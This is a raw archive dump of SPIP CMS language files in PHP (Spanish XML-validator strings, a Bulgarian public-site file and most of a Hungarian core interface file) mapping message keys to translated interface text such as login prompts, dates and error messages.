'zxml_inconnu_attribut' => 'atributos desconocidos',
'zxml_inconnu_balise' => 'baliza desconocida',
'zxml_inconnu_entite' => 'entidad desconocida',
'zxml_inconnu_id' => 'ID desconocido',
'zxml_mais_de' => 'pero de',
'zxml_non_conforme' => 'no es conforme por el motivo',
'zxml_non_fils' => 'no es hijo de ',
'zxml_nonvide_balise' => 'baliza no vacía',
'zxml_obligatoire_attribut' => 'atributo obligatorio pero ausente en',
'zxml_succession_fils_incorrecte' => 'succesión de hijos incorrecta',
'zxml_survoler' => 'pasar por aquí para ver los correctos',
'zxml_valeur_attribut' => 'valor del atributo',
'zxml_vide_balise' => 'baliza vacía',
'zxml_vu' => 'visto antes'
);
?>
public_bg.php 0000666 00000011451 15252547432 0007222 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=bg
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Начало', # MODIF
'articles' => 'Статии',
'articles_auteur' => 'Статии на автора',
'articles_populaires' => 'Най-популярните статии',
'articles_rubrique' => 'Статии от рубриката',
'aucun_article' => 'На този адрес не бе намерена статия',
'aucun_auteur' => 'На този адрес не бе намерен автор',
'aucun_site' => 'На този адрес не бе намерен сайт',
'aucune_breve' => 'На този адрес не бяха намерени новини',
'aucune_rubrique' => 'На този адрес не бе намерена рубрика',
'autres_breves' => 'Други новини',
'autres_groupes_mots_clefs' => 'Други групи от ключови думи',
'autres_sites' => 'Други сайтове',
// B
'bonjour' => 'Добър ден',
// C
'commenter_site' => 'Коментар на сайта',
// D
'date' => 'Дата',
'dernier_ajout' => 'Най-новото допълнение',
'dernieres_breves' => 'Последните новини',
'derniers_articles' => 'Най-новите статии',
'derniers_commentaires' => 'Най-новите коментари',
'derniers_messages_forum' => 'Най-новите съобщения, публикувани на форума',
// E
'edition_mode_texte' => 'текстов вид',
'en_reponse' => 'В отговор на:',
'en_resume' => 'Резюме',
'envoyer_message' => 'Изпращане на съобщение',
'espace_prive' => 'Лична зона',
// H
'hierarchie_site' => 'Структура на сайта',
// J
'jours' => 'дни',
// M
'meme_auteur' => 'От същия автор',
'meme_rubrique' => 'В същата рубрика',
'memes_auteurs' => 'От същите автори',
'message' => 'Съобщение',
'messages_forum' => 'Съобщения в форума', # MODIF
'messages_recents' => 'Най-новите съобщения от форума',
'mots_clefs' => 'Ключови думи',
'mots_clefs_meme_groupe' => 'Ключови думи от същата група',
// N
'navigation' => 'Навигация',
'nom' => 'Име',
'nouveautes' => 'Какво ново?',
'nouveautes_web' => 'Какво ново в мрежата?',
'nouveaux_articles' => 'Нови статии',
'nouvelles_breves' => 'Последни новини',
// P
'page_precedente' => 'предишна страница',
'page_suivante' => 'следваща страница',
'par_auteur' => 'от',
'participer_site' => 'За да вземете активно участие в работата на сайта и да пишете свои собствени статии, е нужно първо да се регистрирате тук. При регистрация ще получите незабавно съобщение на електронния си адрес с код за достъп до личната зона на сайта.',
'plan_site' => 'Карта на сайта',
'popularite' => 'Популярност',
'poster_message' => 'Изпращане на съобщение',
'proposer_site' => 'Предложете сайт, който да бъде добавен към рубриката:',
// R
'repondre_article' => 'Отговор на статията',
'repondre_breve' => 'Отговор на новината',
'resultats_recherche' => 'Резултати от търсенето',
'retour_debut_forums' => 'Обратно в началото на форумите',
'rubrique' => 'Рубрика',
'rubriques' => 'Рубрики',
// S
'signatures_petition' => 'Записи',
'site_realise_avec_spip' => 'Сайт под СПИП',
'sites_web' => 'Интернет сайтове',
'sous_rubriques' => 'Подрубрики',
'suite' => 'продължава',
'sur_web' => 'В мрежата',
'syndiquer_rubrique' => 'Обединяване на тази рубрика',
'syndiquer_site' => 'Обединяване на целия сайт',
// T
'texte_lettre_information' => 'Това е бюлетина на сайта',
'texte_lettre_information_2' => 'Писмото резюмира статиите и новините публикувани от последните', # MODIF
// V
'ver_imprimer' => 'Версия за отпечатване',
'voir_en_ligne' => 'Виж как ще изглежда',
'voir_squelette' => 'Изтеглете шаблона на тази страница'
);
?>
spip_hu.php 0000666 00000104637 15252547432 0006754 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=hu
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-hu',
'0_langue' => 'Magyar [hu]',
'0_liste' => 'spip-hu@rezo.net',
'0_mainteneur' => 'trucy@freemail.huEcker Gábor (ecker.gabor@ecker.t-online.hu)',
// A
'access_interface_graphique' => 'Vissza a teljes grafikus felületre',
'access_mode_texte' => 'Egyszerűsített szöveges felület megjelenítése',
'admin_debug' => 'debug',
'admin_modifier_article' => 'Cikk módosítása',
'admin_modifier_auteur' => 'Szerző módosítása',
'admin_modifier_breve' => 'Hír szerkesztése',
'admin_modifier_mot' => 'Kulcsszó módosítása',
'admin_modifier_rubrique' => 'Rovat módosítása',
'admin_recalculer' => 'Oldal frissítése',
'afficher_trad' => 'fordítások megjelenítése',
'alerte_maj_impossible' => '<b>Hiba !</b> A SQL adatbázis frissítése a @version@ verzió felé nem lehtséges, talán adatbázishoz való módosítási jogosultság miatt. Ilyenkor a tárhely adminisztrátorához kell fordulni.',
'alerte_modif_info_concourante' => 'ATTENTION : Cette information a été modifié par ailleurs. La valeur actuelle est :', # MODIF
'analyse_xml' => 'XML elemzés',
'annuler' => 'Mégsem',
'antispam_champ_vide' => 'Kérjük, hagyja üresen ezt a mezőt:',
'articles_recents' => 'Legújabb cikkek',
'avis_archive_incorrect' => 'Az archiválási fájl nem SPIP típusú',
'avis_archive_invalide' => 'Az archválási fájl érvénytelen',
'avis_attention' => 'Vigyázat !',
'avis_champ_incorrect_type_objet' => 'Érvénytelen mezőnév @name@ a(z) @type@ típusú objektumhoz',
'avis_colonne_inexistante' => 'A(z) @col@ nevű oszlop nem létezik',
'avis_erreur' => 'Hiba: lásd lejjebb',
'avis_erreur_connexion' => 'Csatlakozási hiba',
'avis_erreur_cookie' => 'Cookie hiba',
'avis_erreur_fonction_contexte' => 'Programozási hiba. Ezt a függvényt nem lehet hívni e körülmények között.',
'avis_erreur_mysql' => 'SQL hiba',
'avis_erreur_sauvegarde' => 'Hiba a mentés során (@type@ @id_objet@)!',
'avis_erreur_visiteur' => 'Probléma a privát zónába lépéskor',
// B
'barre_a_accent_grave' => 'Francia ékezetes A nagybetű beszúrása',
'barre_aide' => 'Használjon a nyomdai jelöléseket, hogy szépítse az írásképet',
'barre_e_accent_aigu' => 'Francia ékezetes E nagybetű beszúrása',
'barre_eo' => 'E betű beszúrása az O-ban',
'barre_eo_maj' => 'E betű beszúrása az O nagybetűbe',
'barre_euro' => 'Az € karakter beszúrása',
'barre_gras' => '{{félkövér stílus}} alkalmazása',
'barre_guillemets' => '« idezőjelekbe »',
'barre_guillemets_simples' => 'idézőjelekbe',
'barre_intertitre' => '{{{közcím stílus}}} alkalmazása',
'barre_italic' => '{dőlt stílus} alkalmazása',
'barre_lien' => 'Hiperhivatkozás beszúrása [link szövege->http://...]',
'barre_lien_input' => 'Kérjük, adja meg a hivatkozás célját. (Beírhat egy webcímet http://www.mysite.com formátumban, vagy egyszerűen megadhatja az egyik cikk számát ezen az oldalon.)',
'barre_note' => '[[Lábjegyzet stílus]] alkalmazása',
'barre_paragraphe' => 'Új bekezdés',
'barre_quote' => '<quote>Üzenet idézése</quote>',
'bouton_changer' => 'Módosítás',
'bouton_chercher' => 'Keresés',
'bouton_choisir' => 'Kiválasztás',
'bouton_download' => 'Download', # MODIF
'bouton_enregistrer' => 'Mentés',
'bouton_radio_desactiver_messagerie_interne' => 'Belső üzenetek letiltása',
'bouton_radio_envoi_annonces' => 'Szerkesztői közlemény küldése',
'bouton_radio_non_envoi_annonces' => 'Ne küldjön közleményeket',
'bouton_radio_non_envoi_liste_nouveautes' => 'Ne küldjön listát a legújabb hírekről',
'bouton_recharger_page' => 'az oldal újratöltése',
'bouton_telecharger' => 'Feltöltés',
'bouton_upload' => 'Feltöltés', # MODIF
'bouton_valider' => 'Rendben',
// C
'cal_apresmidi' => 'délután',
'cal_jour_entier' => 'egész nap',
'cal_matin' => 'délelőtt',
'cal_par_jour' => 'napi naptár',
'cal_par_mois' => 'havi naptár',
'cal_par_semaine' => 'heti naptár',
'choix_couleur_interface' => 'szín',
'choix_interface' => 'választott interfész',
'colonne' => 'Oszlop',
'confirm_changer_statut' => 'Vigyázat, az elem státuszának változtatását kérte. Kívánja folytatni?',
'correcte' => 'helyes',
// D
'date_aujourdhui' => 'ma',
'date_avant_jc' => 'Kr.e.',
'date_dans' => '@delai@',
'date_de_mois_1' => '@j@ @nommois@',
'date_de_mois_10' => '@j@ @nommois@',
'date_de_mois_11' => '@j@ @nommois@',
'date_de_mois_12' => '@j@ @nommois@',
'date_de_mois_2' => '@j@ @nommois@',
'date_de_mois_3' => '@j@ @nommois@',
'date_de_mois_4' => '@j@ @nommois@',
'date_de_mois_5' => '@j@ @nommois@',
'date_de_mois_6' => '@j@ @nommois@',
'date_de_mois_7' => '@j@ @nommois@',
'date_de_mois_8' => '@j@ @nommois@',
'date_de_mois_9' => '@j@ @nommois@',
'date_demain' => 'holnap',
'date_fmt_heures_minutes' => '@h@:@m@',
'date_fmt_jour_heure' => '@jour@ @heure@',
'date_fmt_jour_mois' => '@nommois@ @jour@',
'date_fmt_jour_mois_annee' => '@annee@. @nommois@ @jour@ ',
'date_fmt_mois_annee' => '@annee@. @nommois@',
'date_fmt_nomjour_date' => '@date@ @nomjour@',
'date_heures' => 'óra',
'date_hier' => 'tegnap',
'date_il_y_a' => 'ezelőtt @delai@',
'date_jnum1' => '1.',
'date_jnum10' => '10.',
'date_jnum11' => '11.',
'date_jnum12' => '12.',
'date_jnum13' => '13.',
'date_jnum14' => '14.',
'date_jnum15' => '15.',
'date_jnum16' => '16.',
'date_jnum17' => '17.',
'date_jnum18' => '18.',
'date_jnum19' => '19.',
'date_jnum2' => '2.',
'date_jnum20' => '20.',
'date_jnum21' => '21.',
'date_jnum22' => '22.',
'date_jnum23' => '23.',
'date_jnum24' => '24.',
'date_jnum25' => '25.',
'date_jnum26' => '26.',
'date_jnum27' => '27.',
'date_jnum28' => '28.',
'date_jnum29' => '29.',
'date_jnum3' => '3.',
'date_jnum30' => '30.',
'date_jnum31' => '31.',
'date_jnum4' => '4.',
'date_jnum5' => '5.',
'date_jnum6' => '6.',
'date_jnum7' => '7.',
'date_jnum8' => '8.',
'date_jnum9' => '9.',
'date_jour_1' => 'Vasárnap',
'date_jour_1_abbr' => 'Vas.',
'date_jour_1_initiale' => 'V.',
'date_jour_2' => 'Hétfő',
'date_jour_2_abbr' => 'Hét.',
'date_jour_2_initiale' => 'H.',
'date_jour_3' => 'Kedd',
'date_jour_3_abbr' => 'Kedd',
'date_jour_3_initiale' => 'K.',
'date_jour_4' => 'Szerda',
'date_jour_4_abbr' => 'Sze.',
'date_jour_4_initiale' => 'Sz.',
'date_jour_5' => 'Csütörtök',
'date_jour_5_abbr' => 'Csüt.',
'date_jour_5_initiale' => 'Cs.',
'date_jour_6' => 'Péntek',
'date_jour_6_abbr' => 'Pént.',
'date_jour_6_initiale' => 'P.',
'date_jour_7' => 'Szombat',
'date_jour_7_abbr' => 'Szo.',
'date_jour_7_initiale' => 'Sz.',
'date_jours' => 'nap',
'date_minutes' => 'perc',
'date_mois' => 'hónap',
'date_mois_1' => 'január',
'date_mois_10' => 'október',
'date_mois_11' => 'november',
'date_mois_12' => 'december',
'date_mois_2' => 'február',
'date_mois_3' => 'március',
'date_mois_4' => 'április',
'date_mois_5' => 'május',
'date_mois_6' => 'június',
'date_mois_7' => 'július',
'date_mois_8' => 'augusztus',
'date_mois_9' => 'szeptember',
'date_saison_1' => 'tél',
'date_saison_2' => 'tavasz',
'date_saison_3' => 'nyár',
'date_saison_4' => 'ősz',
'date_semaines' => 'hét',
'dirs_commencer' => ' ahhoz, hogy valóban kezdhesse a telepítést',
'dirs_preliminaire' => 'Bevezetés: <b>Hozzáférési jogok beállítása</b>',
'dirs_probleme_droits' => 'Jogosultsági hiba',
'dirs_repertoires_absents' => 'A következő mappák nem találhatók : <ul>@bad_dirs@.</ul> </b>
<p>Ez valószínüleg egy nagy-, kisbetűs probléma.
Ellenőrizze, hogy a fenti mappák nagy-, és kisbetűi megfelelnek annak, ami feljebb megjelent
; ha mégsem, FTP szoftverével nevezze át a mappákat.
</p><p>Ha megtörtént ez a művelet, tudni fog</p>',
'dirs_repertoires_suivants' => '<b>A következő mappákra nincs írási jogosultsága : <ul>@bad_dirs@.</ul> </b>
<p>Annak javítására, használja az FTP kliensét ahhoz, hogy beállítsa minden mappá hozzáférési jogait
Az eljárás részletesen van magyarázva a telepítési kézikönyvben.
</p><p>A megtörtént ez a művelet, tudni fogja</p>', # MODIF
'double_occurrence' => 'Két előfordulás', # MODIF
// E
'envoi_via_le_site' => 'Küldés a honlapon keresztül',
'erreur' => 'Hiba',
'erreur_balise_non_fermee' => 'az utolsó tag nincs lezárva:',
'erreur_texte' => 'hiba',
// F
'fichier_introuvable' => 'A(z) @fichier@ fájl nem található',
'form_deja_inscrit' => 'Ön már regisztrált.',
'form_email_non_valide' => 'A megadott e-mail cím érvénytelen.',
'form_forum_access_refuse' => 'Önnek már nincs hozzáférése ehhez az oldalhoz.',
'form_forum_bonjour' => 'Üdvözöljük, @nom@,',
'form_forum_email_deja_enregistre' => 'Ez az email cím már regisztrálva van, tehát használhatja a szokásos jelszavát.',
'form_forum_identifiant_mail' => 'Új azonosítóját elküldtük az e-mail címére.',
'form_forum_identifiants' => 'Személyes azonosítók',
'form_forum_indiquer_nom_email' => 'Kérjük, adja meg nevét és e-mail címét. A személyes azonosítóját e-mailben fogja megkapni.',
'form_forum_login' => 'Login:',
'form_forum_message_auto' => '(ez egy automatikus üzenet)',
'form_forum_pass' => 'jelszó:',
'form_forum_probleme_mail' => 'E-mail probléma : az azonosító nem küldhető el.',
'form_forum_voici1' => 'Az azonosítója, amivel részt vehet a(z) "@nom_site_spip@" (@adresse_site@) oldal életében:',
'form_forum_voici2' => 'Íme az azonosítói javasolt cikkek küldéséhez a(z)
"@nom_site_spip@" (@adresse_login@) oldalra:',
'form_indiquer_email' => 'Kérjük, adja meg e-mail címét.',
'form_indiquer_nom' => 'Kérjük, adja meg a nevét.',
'form_indiquer_nom_site' => 'Kérjük, adja meg honlapjának címét.',
'form_pet_deja_enregistre' => 'Ezt a honlapot már regisztrálták',
'form_pet_signature_pasprise' => 'Az Ön aláírása nincs figyelembe véve.',
'form_prop_confirmer_envoi' => 'Erősítse meg a küldést',
'form_prop_description' => 'Leírás/hozzászólás',
'form_prop_enregistre' => 'A javaslatát felvettük. Nyilvánosan akkor fog megjelenni, miután e honlap adminisztrátorai jóváhagyták.',
'form_prop_envoyer' => 'Üzenetküldés',
'form_prop_indiquer_email' => 'Kérjük, érvényes e-mail címet adjon meg',
'form_prop_indiquer_nom_site' => 'Kérjük, adja meg a honlap nevét.',
'form_prop_indiquer_sujet' => 'Kérjük, adja meg a tárgyat',
'form_prop_message_envoye' => 'Üzenet elküldve',
'form_prop_non_enregistre' => 'A javaslatát nem rögzítettük.',
'form_prop_sujet' => 'Tárgy',
'form_prop_url_site' => 'Honlap címe', # MODIF
'forum_non_inscrit' => 'Nincs regisztrálva, vagy a cím vagy a jelszó hibás.',
'forum_par_auteur' => 'Írta: @auteur@',
'forum_titre_erreur' => 'Hiba...',
// I
'ical_texte_rss_articles' => 'A honlap cikkeinek «backend» fájlja ezen a címen található:',
'ical_texte_rss_articles2' => 'Egyaránt lehet szerezni «backend» fájlokat a honlap minden egyes rubrikának cikkeiről:',
'ical_texte_rss_breves' => 'Ráadásul létezik olyan fájl, ami a honlap híreit tartalmazza. Egy rovatszám kijelölésével megkaphatja egyedül annak a rovatnak a híreit.',
'icone_a_suivre' => 'Iránytű',
'icone_admin_site' => 'Honlap adminisztrálása',
'icone_agenda' => 'Naptár',
'icone_aide_ligne' => 'Súgó',
'icone_articles' => 'Cikkek',
'icone_auteurs' => 'Szerzők',
'icone_brouteur' => 'Gyors böngészés',
'icone_configuration_site' => 'Konfigurálás',
'icone_configurer_site' => 'A honlap konfigurálása',
'icone_creer_nouvel_auteur' => 'Új szerző létrehozása',
'icone_creer_rubrique' => 'Rovat létrehozása',
'icone_creer_sous_rubrique' => 'Alrovat létrehozása',
'icone_deconnecter' => 'Kijelentkezés',
'icone_discussions' => 'Viták',
'icone_doc_rubrique' => 'Mellékelt dokumentumok',
'icone_ecrire_article' => 'Új cikk írása',
'icone_edition_site' => 'Szerkesztés',
'icone_gestion_langues' => 'Nyelvek kezelése',
'icone_informations_personnelles' => 'Személyes adatok',
'icone_interface_complet' => 'teljes felület',
'icone_interface_simple' => 'egyszerűsített felület',
'icone_maintenance_site' => 'Honlap karbantartása',
'icone_messagerie_personnelle' => 'Személyes levelezés',
'icone_repartition_debut' => 'Kezdettől megjeleníteni a megosztást',
'icone_rubriques' => 'Rovatok',
'icone_sauver_site' => 'A honlap mentése',
'icone_site_entier' => 'Az egész honlap',
'icone_sites_references' => 'Felvett honlapok',
'icone_statistiques' => 'A honlap statisztikai',
'icone_suivi_activite' => 'A honlap életének megfigyelése',
'icone_suivi_actualite' => 'A honlap kialakulása',
'icone_suivi_pettions' => 'Figyelni/kezelni az aláírásgyűjtéseket',
'icone_suivi_revisions' => 'Cikkek módosítása',
'icone_supprimer_document' => 'A dokumentum törlése',
'icone_supprimer_image' => 'A kép törlése',
'icone_tous_articles' => 'Az összes cikkei',
'icone_tous_auteur' => 'Az összes szerző',
'icone_visiter_site' => 'Látogatás', # MODIF
'icone_voir_en_ligne' => 'Nézni élőben',
'img_indisponible' => 'hiányzó kép',
'impossible' => 'nem lehetséges',
'info_a_suivre' => 'FOLYTATNI »',
'info_acces_interdit' => 'Hozzáférés tilos',
'info_acces_refuse' => 'Elutasított hozzáférés',
'info_action' => 'Művelet : @action@',
'info_administrer_rubriques' => 'Ezt a rovatot, illetve ennek alrovatait Ön adminisztrálhatja',
'info_adresse_non_indiquee' => 'Nem jelölt tesztelendő címet !',
'info_aide' => 'SÚGÓ :',
'info_ajouter_mot' => 'A szó hozzáadása',
'info_annonce' => 'HÍRDETÉS',
'info_annonces_generales' => 'Általános hírdetések :',
'info_article_propose' => 'Javasolt cikk',
'info_article_publie' => 'Publikált cikk',
'info_article_redaction' => 'Szerkeztés alatti cikk',
'info_article_refuse' => 'Elutasított cikk',
'info_article_supprime' => 'Törölt cikk',
'info_articles' => 'Cikkek',
'info_articles_a_valider' => 'Jóváhagyandó cikkek',
'info_articles_proposes' => 'Javasolt cikkek',
'info_auteurs_nombre' => 'szerző(k) :',
'info_authentification_ftp' => 'Autentifikálás (FTP-vel).',
'info_breves_2' => 'hírek',
'info_connexion_refusee' => 'Csatlakozás tagadva',
'info_contact_developpeur' => 'Keressen egy fejlesztőt.',
'info_contenance' => 'A honlap tartalmazza :',
'info_contribution' => 'Fórumi hozzászólások', # MODIF
'info_copyright' => '@spip@ egy szabad szoftver, letölthető: @lien_gpl@.',
'info_copyright_doc' => 'Bővebb információkra, lásd a honlapot <a href="@spipnet@">http://www.spip.net/fr</a>.', # MODIF
'info_copyright_gpl' => 'GPL licenzú',
'info_cours_edition' => 'Az Ön szerkesztés alatti cikkei',
'info_creer_repertoire' => 'Hozzon létre fájlt, vagy mappát, melynek a neve :',
'info_creer_repertoire_2' => 'az almappán <b>@repertoire@</b> belül, ezútán :',
'info_creer_vignette' => 'a bélyegkép automatikus létrehozása',
'info_deplier' => 'Kibontás',
'info_descriptif_nombre' => 'Rövid ismertető(k) :',
'info_description' => 'Leírás :',
'info_description_2' => 'Leírás :',
'info_dimension' => 'Méretek :',
'info_ecire_message_prive' => 'Magán üzenet írása',
'info_email_invalide' => 'Érvénytelen email cím.',
'info_en_cours_validation' => 'Az Ön szerkesztés alatti cikkei',
'info_en_ligne' => 'Jelenleg a vonalon :',
'info_envoyer_message_prive' => 'Személyes üzenet küldés ennek a szerzőnek',
'info_erreur_requete' => 'Hiba a lekérdezésben :',
'info_erreur_squelette2' => 'Egyetlen csontváz (template) <b>@fichier@</b> sem áll rendelkezésre...',
'info_erreur_systeme' => 'Rendszer hiba (errno @errsys@)',
'info_erreur_systeme2' => 'A merevlemez talán tele van, vagy megsérült az adatbázis.<br />
<span style="color:red;">probáljon <a href=\'@script@\'>javítani az adatbázis</a>, vagy keresse fel a rendszergazdát.</span>', # MODIF
'info_fini' => 'Készen van !',
'info_format_image' => 'Használható képformátumok a bélyegképek készítésére : @gd_formats@.',
'info_format_non_defini' => 'Határozatlan formátum',
'info_grand_ecran' => 'Nagy képernyő',
'info_image_aide' => 'SÚGÓ',
'info_image_process_titre' => 'Bélyegképek készítési módszer',
'info_impossible_lire_page' => '<b>Hiba !</b> Az opdal nem olvasható <tt><html>@test_proxy@</html></tt> a proxyn keresztül <tt>', # MODIF
'info_installation_systeme_publication' => 'A publikálási rendszer telepítése...',
'info_installer_documents' => 'Automatikusan telepítheti az összes dokumentumot, amit tartalmaz az @upload@ nevű mappa.',
'info_installer_ftp' => 'Mint adminisztrátor, az @upload@ mappába másolhat (FTP-vel) fájlokat, és később közvetlenül kijelölheti őket itt.',
'info_installer_images' => 'JPEG, GIF és PNG tipusú képek telepíthetők.',
'info_installer_images_dossier' => 'Képeket másolni a @upload@ mappába ahhoz, hogy itt lehessen kijelölni.',
'info_interface_complete' => 'teljes felület',
'info_interface_simple' => 'Egyszerűsített felület',
'info_joindre_document_article' => 'Olyan tipusú dokumentumokat csatolhat ehhez a cikkhez',
'info_joindre_document_rubrique' => 'Olyan tipusú dokumentumokat beszúrhat abba a rovatba',
'info_joindre_documents_article' => 'Olyan tipusú dokumentumok csatolhatók az Ön cikkéhez :',
'info_l_article' => 'a cikk',
'info_la_breve' => 'a hír',
'info_la_rubrique' => 'a rovat',
'info_langue_principale' => 'A honlap alapnyelve',
'info_largeur_vignette' => '@largeur_vignette@ x @hauteur_vignette@ pixel',
'info_les_auteurs_1' => 'írta @les_auteurs@',
'info_logo_format_interdit' => 'Csak a @formats@ tipusú formatumak vannak engedlyezve.',
'info_logo_max_poids' => 'Egy logo kisebb legyen, mint @maxi@ (ez a fájl pedig @actuel@).',
'info_mail_fournisseur' => 'önmaga@szolgaltato.com',
'info_message_2' => 'ÜZENET',
'info_message_supprime' => 'ÜZENET TÖRÖLVE',
'info_mise_en_ligne' => 'Publikálás időpontja :',
'info_modification_parametres_securite' => 'biztonsági paraméterek módosítása',
'info_mois_courant' => 'A hónap folyamán :',
'info_mot_cle_ajoute' => 'A következő kulcsszó nem lett hozzátéve',
'info_multi_herit' => 'Alapértelmezett nyelv',
'info_multi_langues_soulignees' => 'Az <u>aláhuzott nyelveknek</u> van fordítása a felület összes szövegére. Ha ezeket jelöli ki, akkor a nyilvános honlap számos elemei (dátumok, űrlapok) lesznek automatikusan lefordítva. A nem aláhúzott nyelvekre pedig azok az elemek a honlap alapnyelvén fognak megjelenni.', # MODIF
'info_multilinguisme' => 'Többnyelvűség',
'info_nom_non_utilisateurs_connectes' => 'Az Ön neve nem szerepel a jelenleg csatlakozott felhasználók listájában',
'info_nom_utilisateurs_connectes' => 'Az Ön neve szerepel a jelenleg csatlakozott felhasználók listájában.',
'info_nombre_en_ligne' => 'Jelenleg a vonalon :',
'info_non_resultat' => 'Nincs találat erre "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Nem használja a honlap belső levelezését.',
'info_nouveau_message' => 'ÖNNEK ÚJ ÜZENETE VAN',
'info_nouveaux_messages' => 'ÖNNEK @total_messages@ ÚJ ÜZENETE VAN',
'info_numero_abbreviation' => 'sz. ',
'info_pense_bete' => 'EMLÉKEZTET?',
'info_petit_ecran' => 'Kisebb képerny?',
'info_petition_close' => 'Kérelem lezárva',
'info_pixels' => 'pixelek',
'info_plusieurs_mots_trouves' => 'Néhany kulcsszó talált azzal "@cherche_mot@":',
'info_portfolio_automatique' => 'Automatikus portfolio :',
'info_premier_resultat' => '[@debut_limit@ első eredmények, @total@ összesen]',
'info_premier_resultat_sur' => '[@debut_limit@ eredmény, összesen @total@]',
'info_propose_1' => '[@nom_site_spip@] ezt javasolta : @titre@',
'info_propose_2' => 'Javasolt cikk
---------------',
'info_propose_3' => 'A "@titre@" című cikket javasolták publikálásra.',
'info_propose_4' => 'Kérjuk, konzultálja és adjon róla véleményét',
'info_propose_5' => 'a hozzá kapcsolódó fórumban. Elérhető a következő címen :',
'info_publie_01' => 'A "@titre@" című cikket @connect_nom@ hagyta jóvá.',
'info_publie_1' => '[@nom_site_spip@] PUBLIKÁLJA : @titre@',
'info_publie_2' => 'Publikált cikkek
--------------',
'info_rechercher' => 'Keresés',
'info_rechercher_02' => 'Keresés :',
'info_remplacer_vignette' => 'Az alapértelmezett bélyegkép helyettesítése egy személyes logoval :',
'info_sans_titre_2' => 'cím nélkül',
'info_selectionner_fichier' => 'Kijelölhet egy fájlt az @upload@ mappából',
'info_selectionner_fichier_2' => 'Válasszon egy fájlt :',
'info_supprimer_vignette' => 'a bélyegkép törlése',
'info_symbole_bleu' => 'A <b>kék</b> jel <b>emlékeztetőt</b> jelez: vagyis egy személyes jellegű üzenetet.', # MODIF
'info_symbole_jaune' => 'A <b>sárga</b> jel <b>minden szerzőnek szóló hírt</b> jelez : minden adminisztrátor módosíthatja, és minden szerző láthatja.', # MODIF
'info_symbole_vert' => 'A <b>zöld</b> jel a honlap <b>többi felhasználóival cserélt üzeneteket</b> jelzi.', # MODIF
'info_telecharger_nouveau_logo' => 'Új logo feltöltése :',
'info_telecharger_ordinateur' => 'Feltöltés a gépéről :',
'info_tous_resultats_enregistres' => '[minden eredmény mentve]',
'info_tout_afficher' => 'Mindent megjelenít',
'info_travaux_texte' => 'Ez a honlap még nincs konfigurálva. Jöjjön vissza később...',
'info_travaux_titre' => 'A honlap javítás alatt van',
'info_trop_resultat' => 'Túl sok eredmény erre "@cherche_mot@" ; Szükítse a kérésést.',
'info_utilisation_messagerie_interne' => 'A honlap belső levelezőrendszerét használhatja.',
'info_valider_lien' => 'a link jóváhagyása',
'info_verifier_image' => ', elenőrizze, hogy a képek megfelelően lettek másolva.',
'info_vignette_defaut' => 'Alapértelmezett bélyegkép',
'info_vignette_personnalisee' => 'Személyes bélyegkép',
'info_visite' => 'látogatás :',
'info_vos_rendez_vous' => 'A leendő találkozói',
'infos_vos_pense_bete' => 'Az Ön emlékeztetői', # MODIF
// L
'lien_afficher_icones_seuls' => 'Csak az ikonok megjelenítése',
'lien_afficher_texte_icones' => 'Ikonok és szöveg megjelenítése',
'lien_afficher_texte_seul' => 'Csak a szöveg megjelenítése',
'lien_liberer' => 'szabadítani',
'lien_liberer_tous' => 'a cikkek szabadítása', # MODIF
'lien_nouvea_pense_bete' => 'ÚJ EMLÉKEZTETŐ',
'lien_nouveau_message' => 'ÚJ ÜZENET',
'lien_nouvelle_annonce' => 'ÚJ HÍRKÖZLÉS',
'lien_petitions' => 'ALÁÍRÁSGYŰJTÉS',
'lien_popularite' => 'népszerűség : @popularite@%',
'lien_racine_site' => 'HONLAP TETEJE',
'lien_reessayer' => 'újabb próba',
'lien_repondre_message' => 'Válaszolni az üzenetre',
'lien_supprimer' => 'töröl',
'lien_tout_afficher' => 'Mindent megjelenít',
'lien_visite_site' => 'a honlap látógatása',
'lien_visites' => '@visites@ látógatás',
'lien_voir_auteur' => 'Lásd a szerzőt',
'ligne' => 'Sor',
'login' => 'Kapcsolat',
'login_acces_prive' => 'Belépés a privát részbe',
'login_autre_identifiant' => 'Csatlakozás másik azonosítóval',
'login_cookie_accepte' => 'Állítsa be a böngészőjét úgy, hogy elfogadja őket(legalább ezen a honlapon).',
'login_cookie_oblige' => 'A honlaphoz való biztonságos azonosítás érdekében a sütiket (cookies) el kell fogadni.',
'login_deconnexion_ok' => 'Kijelentkezés megtörtént.',
'login_erreur_pass' => 'Hibás jelszó.',
'login_espace_prive' => 'privát rész',
'login_identifiant_inconnu' => 'A « @login@ » azonosító ismeretlen.',
'login_login' => 'Login :',
'login_login2' => 'Login (honlaphoz való csatlakozási azonosító) :', # MODIF
'login_login_pass_incorrect' => '(Érvénytelen login vagy jelszó.)',
'login_motpasseoublie' => 'a jelszót elfelejtette ?',
'login_non_securise' => 'Vigyázat, az űrlap nem biztonságos.
Ha nem akarja, hogy jelszavát kaphassák a hálozaton, akkor a Javascriptet aktiválja
a böngészójében és',
'login_nouvelle_tentative' => 'Újabb kisérlet',
'login_par_ici' => 'Be van íratkozva... errefelé...',
'login_pass2' => 'Jelszó :',
'login_preferez_refuser' => '<b>Ha mégis elutasítja a sütiket (cookies)</b>, akkor egy másik csatlakozási módszer (kevésbé biztonságos) áll rendelkezésére :',
'login_recharger' => 'újra tölteni az oldalt',
'login_rester_identifie' => 'Azonosítva maradni pár napig',
'login_retour_public' => 'Vissza a nyilvános honlapra',
'login_retour_site' => 'Vissza a nyilvános honlapra',
'login_retoursitepublic' => 'vissza a nyilvános honlapra',
'login_sans_cookiie' => 'Süti (cookie) nélküli azonosítás',
'login_sinscrire' => 'beíratkozás',
'login_test_navigateur' => 'böngésző teszt/újracsatlakozás',
'login_verifiez_navigateur' => '(Azonban ellenőrizze, hogy a bongészó nem memorizálta-e a jelszót...)',
// M
'masquer_colonne' => 'Oszlop elrejtése',
'masquer_trad' => 'fordítások elrejtése',
'module_fichiers_langues' => 'Nyelvi fájlok',
// N
